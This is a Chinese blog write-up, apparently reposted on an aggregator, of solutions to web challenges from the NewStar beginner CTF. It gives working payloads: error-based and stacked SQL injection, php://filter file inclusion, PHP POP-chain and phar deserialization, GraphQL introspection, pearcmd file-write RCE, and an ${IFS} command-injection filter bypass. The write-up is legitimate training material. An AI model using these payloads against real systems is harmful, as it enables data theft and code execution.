我的编程空间,编程开发者的网络收藏夹
学习永远不晚

萌新赛(NewStar)

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

萌新赛(NewStar)

如有侵权,请联系我,立即删除。 

最近的这个“萌新”,赛感觉很有必要记录一下。

目录

Word-For-You(2 Gen)

 IncludeOne

UnserializeOne

ezAPI

第三周

multiSQL

IncludeTwo

$_SERVER['argv']#是通过+作为分隔符的


Word-For-You(2 Gen)

第一周的时候就是一个万能密码,这是第二周有了一点的提示,当时我困在这里尝试了很多闭合的方式 '  "等等,也是报错注入用到的不是特别的多,所以每次都不能快速的用到。

1' or updatexml(1,concat(0x7e,database()),1) # 

当时也是做到这里了,但是

 这里有东西被挡住了,我以为是一些报错所以就没太留意,唉

 这不就爆出来数据库名

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#

查询到了四个数据库表,猜一下是不是wfy_admin 

1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_admin")),1)#

 1' or updatexml(1,concat(0x7e,(select group_concat(username,password) from wfy_admin)),1)#

 说明数据库表不正确,换个表继续

最后没记错flag好像在 wfy_comments 这个表里的text下

 1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="wfy_comments")),1)#

最终在text字段

1' or updatexml(1,concat(0x7e,(select group_concat(text) from wfy_comments)),1)#

 感觉是限制了长度,后面应该还有东西,没准flag就在最后 所以我们倒序一下

1' or updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)#

 猜测正确,果然是输出长度进行了限制我们在对这个字符串进行求反操作就可

s='}sr0rre_emos_ek2m_t4uJ{galf'print(s[::-1])

 IncludeOne

if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){        //flag in `flag.php`        include($_GET['file']);

 这道题相对比较简单,就是点一下就过了,首先是随机种子会有一定的顺序

然后这里禁了base,并且正则要求命令中必须含有NewStar,

?file=php://filter/NewStar/read=string.rot13/resource=flag.php

 这里Newstar没起到任何的作用,然后将flag.php中的数据进行了,rot13编码,最后解码就可

UnserializeOne

name;    }    public function __isset($var)    {        ($this->func)();    }}class Sec{    private $obj;    private $var;    public function __toString()    {        $this->obj->check($this->var);        return "CTFers";    }    public function __invoke()    {        echo file_get_contents('/flag');    }}class Easy{    public $cla;    public function __call($fun, $var)    {        $this->cla = clone $var[0];    }}class eeee{    public $obj;    public function __clone()    {        if(isset($this->obj->cmd)){            echo "success";        }    }}if(isset($_POST['pop'])){    unserialize($_POST['pop']);}

pop链的题目,首先我们先锁定链尾

  public function __invoke()
    {
        echo file_get_contents('/flag');
    }看到这里读取/flag,然后往上面找触发invoke

public function __isset($var)
    {
        ($this->func)();
    }

  public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

然后看到tostring  , destruct 

直接写出

Start::destruct-->Sec::-->toString-->Easy::call-->eeee::clone-->Start::isset-->Sec::invoke

name=$s1;$s1->obj= $E;$s1->var=$e1;$e1->obj=$S1;$S1->func=$s2;echo (serialize($S));

这里虽然有protected定义的私有变量,在php 7.1+可以换成 public,

public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }

这要是在这卡了我一会,this->obj 等于 call的类,然后this-var也需要在上面的类赋值,因为下面的形参有两个,this->var的类就是call触发下面的类

ezAPI

qsdz开发了一个查询网页,但是好像存在一些漏洞?

这里看了师傅的wp才知道是graphql,第一次接触

graphQL常见的是这种形式以后碰见就可以用到

一般考察的是,内省查询,就是本来只应该内部进行访问,但配置错误导致攻击者可以获得这些消息。

内省查询的数据为

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

 这样就会返回所有API端点的所有信息

玩转graphQL

 array(            'method' => 'POST',            'header' => 'Content-type: application/json',            'content' => $data,            'timeout' => 10 * 60        )    );    $context = stream_context_create($options);    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);    return $result;}if(isset($id)){    if(waf($id)){        isset($_POST['data']) ? $data=$_POST['data'] : $data='{"query":"query{\nusers_user_by_pk(id:'.$id.') {\nname\n}\n}\n", "variables":null}';        $res = json_decode(send($data));        if($res->data->users_user_by_pk->name !== NULL){            echo "ID: ".$id."
Name: ".$res->data->users_user_by_pk->name; }else{ echo "Can't found it!
DEBUG: "; var_dump($res->data); } }else{ die("Hacker!"); }}else{ die("No Data?");}?>

这里发现post传入的data是可控的,所以可以是内省查询的注入点 

 这里找到了一个flag的接口,可是怎末读它呢

看到源码给出了这一条命令,那我们进行模仿一下

$data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'

 读取成功flag的接口,获得flag!

第三周

 第三周web

multiSQL

第三周打开以后,感觉难了好多好多

听说火华师傅四级又挂掉了,他不好给他的英语老师交代,你能帮他改改成绩通过学校的验证嘛~

题目给了人名火华

425通过,可是加起来是424

当时我的思路,就是进行update直接更新,然后堆叠注入查出来表名         

首先试出来闭合方式,只有'单引号的返回结果不一样

         

 

然后使用update发现被过滤掉了!!!

尝试了绕过方式过不去,然后就想想想如果用insert插入一条记录是不是也可以

呃呃呃,insert也被过滤了

只能百度搜索,replace  into table (id,name) values('1','aa'),('2','bb') 

发现这个也是插入的语句

1';replace into score values ("火华",50,200,200);)

然后命令框输入火华查询记录,

 有了两条记录,这时候删除第一条不就可以了吗

1';delete from score where listen=11;

 点击上面获得flag

IncludeTwo

最近一直遇到这样的题,可是一般的通过base64加密就可以绕过了,可是这道题不行呀、

这道题最后放出了提示pear到getshell

没见过,那就了解一下

include $_GET['f'].php)这个是pear的标志模板

简单来说就是利用这个文件中的pear命令行,其中有个可利用参数config-create,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

然后配置信息的registerargcargv必须是开启的状态

$_SERVER['argv']#是通过+作为分隔符的

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/hello.php

直接解释代码了,这里的file=后面的路径,是pearcmd的默认路径,因为include 后面有个.php,所以/usr/local/lib/php/pearcmd.php,去掉了php ,前后就是固定的格式

然后最好再burp更改,在浏览器更改<>会自动解码可能导致运行不成功

最后获得flag

参考文章:

register_argc_argv与include to RCE的巧妙组合 - Longlone's Bloghttps://www.cnblogs.com/iwantflag/p/15602747.html这篇博客写的。具体原理就是利用pearcmd.php来实现文件包含

week 4 

So Baby RCE

|`|\/| |\\\\|\*/i',$_GET["cmd"])){       echo "Don't Hack Me";    }else{        system($_GET["cmd"]);    }}else{    show_source(__FILE__);}

打开界面好家伙,所以的读取命令,同或异或都没了,这我咋玩

说明肯定有一个特殊的点,

直接用

?cmd=cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..%26%26${IFS}cd${IFS}..%26%26rev${IFS}fff?llllaaaaggggg

cd .. && cd .. 往上一句读取目录,ls

 用rev倒序读取,sort可以正序读取,获得flag

UnserializeThree 

 题目提示,rce 上传文件 反序列化 三重碰撞结合

其实看到前两者,很容易想到phar上传文件,所以我们现在的重点是,找到另外一个文件含有pop链的

常规手段:看源码 F12 扫目录

 直接访问,

|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){            //Same point ,can you bypass me again?            eval("#".$this->cmd);        }else{            echo "No!";        }    }}file_exists($_GET['file']);

eval("#".$this->cmd); 构造链很好构造,现在的难点是如何绕过#把它给注释了,不能影响后面的内容,用filter伪协议rot13,不知道flag的文件名果断排除

以前都是运用闭合php绕过,但是这道题明显禁用了,可是也给出了一个提示

urldecode("0a")  和它差不多一样的还有一个urldecode("0d")回车,试了一下也是可以的

cmd=urldecode("%0d")."system('cat f*');";$phar = new Phar('ee.phar');$phar->startBuffering();$phar->setStub('GIF89a'.'');$phar->setMetadata($a);$phar->addFromString('test.txt', 'test');$phar->stopBuffering();?>

然后上传就可以了。

来源地址:https://blog.csdn.net/qq_62046696/article/details/127154063

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

萌新赛(NewStar)

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

萌新Android笔记----IntentFilter匹配篇

开个头 101要从黄铜调回黑铁了,太难了呀,都怪匹配给到的队友天天拉胯。。。(上单头铁盖伦打wn)。。Android的匹配机制也是给萌新当头一棒。但萌新突出一个莽字,不知道的东西就冲塔搞他。。首先我们萌新知道的启动activity分为两种,
2022-06-06

萌新Android笔记----Activity的启动模式

Activity的启动模式 2020 3 18,天气晴,是个巩固基础摸鱼的好日子,于是萌新兴冲冲写个二次元老婆能来回显示的app,但发现越运行越卡啊。这就涉及到了activity的启动模式问题。 Android的栈 我们首先要知道的是act
2022-06-06

Linux装Windows系统,萌新必备攻略

现如今电脑越来越普及,几乎人手一台电脑,但依然有很多人不知道怎么为荣耀MagicBook电脑重装系统。电脑出现问题,还要去电脑店花钱找人帮忙重装系统。其实电脑重装系统非常简单,借助U盘就能轻松重装系统。那么下面我就以Linux装Windows系统为例,教小伙伴
Linux装Windows系统,萌新必备攻略
2021-01-20

最新版win10 Build 10120海量截图:安装就卖萌

之前只有javascript一张图看得是不是很不过瘾?neowin刚刚拿到了最新的Windows 10 Build 101200,并放出了大量截图。 Windhttp://www.cppcns.comows 10的开发现在已经进入稳定阶段,
2023-06-15

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录